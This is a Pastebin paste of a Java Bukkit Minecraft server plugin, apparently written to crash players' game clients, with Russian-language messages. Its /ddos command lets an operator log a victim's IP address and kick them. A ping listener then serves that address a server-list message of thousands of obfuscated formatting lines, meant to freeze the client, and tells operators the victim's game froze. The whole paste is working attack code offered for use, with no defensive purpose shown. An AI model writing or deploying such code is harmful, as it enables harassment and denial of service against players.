Advertisement
CheasyCat

Untitled

Apr 15th, 2018
79
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.86 KB | None | 0 0
  1. package de.sanyaxuisosi;
  2.  
  3. import org.bukkit.plugin.java.*;
  4. import java.util.*;
  5. import org.bukkit.entity.*;
  6. import org.bukkit.*;
  7. import org.bukkit.event.*;
  8. import org.bukkit.plugin.*;
  9. import org.bukkit.command.*;
  10.  
  11. public class ByeMinecraft extends JavaPlugin
  12. {
  13. public static ByeMinecraft instance;
  14. private HashMap<String, String> crashedPlayers;
  15. public final String PREFIX;
  16.  
  17. static {
  18. ByeMinecraft.instance = null;
  19. }
  20.  
  21. public ByeMinecraft() {
  22. this.crashedPlayers = new HashMap<String, String>();
  23. this.PREFIX = ChatColor.RED + "[\u0414\u0414\u041e\u0421\u0418\u041b\u041a\u0410]" + " " + ChatColor.YELLOW;
  24. }
  25.  
  26. public HashMap<String, String> getCrashedPlayers() {
  27. return this.crashedPlayers;
  28. }
  29.  
  30. public void sendMessage(final Player p, final String message) {
  31. p.sendMessage(String.valueOf(this.PREFIX) + message);
  32. }
  33.  
  34. public void onEnable() {
  35. ByeMinecraft.instance = this;
  36. Bukkit.getPluginManager().registerEvents((Listener)new PingListener(), (Plugin)this);
  37. }
  38.  
  39. public boolean onCommand(final CommandSender sender, final Command command, final String label, final String[] args) {
  40. if (sender instanceof Player) {
  41. final Player p = (Player)sender;
  42. if (command.getName().equalsIgnoreCase("ddos")) {
  43. if (p.isOp()) {
  44. try {
  45. final Player victim = Bukkit.getPlayer(args[0]);
  46. final String adress = victim.getAddress().getAddress().getHostAddress();
  47. this.getCrashedPlayers().put(adress, victim.getName());
  48. this.sendMessage(p, "§f\u0421\u043a\u0430\u0436\u0438\u0442\u0435 \u0438\u0433\u0440\u043e\u043a\u0443§c " + victim.getName() + "§f: \u041f\u043e\u043a\u0430 §c:)");
  49. this.sendMessage(p, "§c\u041e\u0441\u043d\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043f\u043b\u0430\u0433\u0438\u043d\u0430: §fИмперия Крабов");
  50. Bukkit.getScheduler().runTask((Plugin)this, (Runnable)new Runnable() {
  51. @Override
  52. public void run() {
  53. String kickMessage = "";
  54. for (int i = 0; i < 70; ++i) {
  55. kickMessage = String.valueOf(kickMessage) + "\n";
  56. }
  57. kickMessage = String.valueOf(kickMessage) + "\u0414\u043e \u0421\u0432\u0438\u0434\u0430\u043d\u0438\u044f\n\n";
  58. kickMessage = String.valueOf(kickMessage) + "|_| |_|\n";
  59. kickMessage = String.valueOf(kickMessage) + "| | /---\\ | |\n";
  60. kickMessage = String.valueOf(kickMessage) + "| |_ (| \"o\" |) _| |\n";
  61. kickMessage = String.valueOf(kickMessage) + "| | | | _ (_---_) _ | | | |\n";
  62. kickMessage = String.valueOf(kickMessage) + "| | | | |' | _| |_ | `| | | | |\n";
  63. kickMessage = String.valueOf(kickMessage) + "| | / \\ | |\n";
  64. kickMessage = String.valueOf(kickMessage) + "\\ / / /(. .)\\ \\ \\ /\n";
  65. kickMessage = String.valueOf(kickMessage) + "\\ / / / | . | \\ \\ \\ /\n";
  66. kickMessage = String.valueOf(kickMessage) + "\\ \\/ / ||Y|| \\ \\/ /\n";
  67. kickMessage = String.valueOf(kickMessage) + "\\__/ || || \\__/\n";
  68. kickMessage = String.valueOf(kickMessage) + "() ()\n";
  69. kickMessage = String.valueOf(kickMessage) + "|| ||\n";
  70. kickMessage = String.valueOf(kickMessage) + "ooO Ooo\n";
  71. for (int i = 0; i < 70; ++i) {
  72. kickMessage = String.valueOf(kickMessage) + "\n";
  73. }
  74. victim.kickPlayer(kickMessage);
  75. }
  76. });
  77. }
  78. catch (Exception e) {
  79. this.sendMessage(p, "§f\u041f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435: §c/ddos §f[§c\u0418\u0433\u0440\u043e\u043a§f]");
  80. }
  81. }
  82. else {
  83. this.sendMessage(p, "§c\u0421\u0415\u0420\u0412\u0415\u0420> §f\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u0440\u0430\u0432.");
  84. }
  85. }
  86. }
  87. return true;
  88. }
  89. }
  90.  
  91.  
  92.  
  93.  
  94.  
  95.  
  96. package de.sanyaxuisosi;
  97.  
  98. import org.bukkit.event.server.*;
  99. import org.bukkit.*;
  100. import org.bukkit.entity.*;
  101. import java.util.*;
  102. import org.bukkit.event.*;
  103.  
  104. public class PingListener implements Listener
  105. {
  106. @EventHandler
  107. public void onPing(final ServerListPingEvent e) {
  108. if (ByeMinecraft.instance.getCrashedPlayers().containsKey(e.getAddress().getHostAddress())) {
  109. String result = "";
  110. for (int i = 0; i < 4020; ++i) {
  111. result = String.valueOf(result) + "§k§l\n";
  112. }
  113. e.setMotd(result);
  114. for (final Player user : Bukkit.getOnlinePlayers()) {
  115. if (user.isOp()) {
  116. ByeMinecraft.instance.sendMessage(user, "\u0418\u0433\u0440\u0430 \u043e\u0442 §c" + ByeMinecraft.instance.getCrashedPlayers().get(e.getAddress().getHostAddress()) + "§f \u0437\u0430\u043c\u0435\u0440\u0437\u043b\u0430!");
  117. }
  118. }
  119. }
  120. }
  121. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement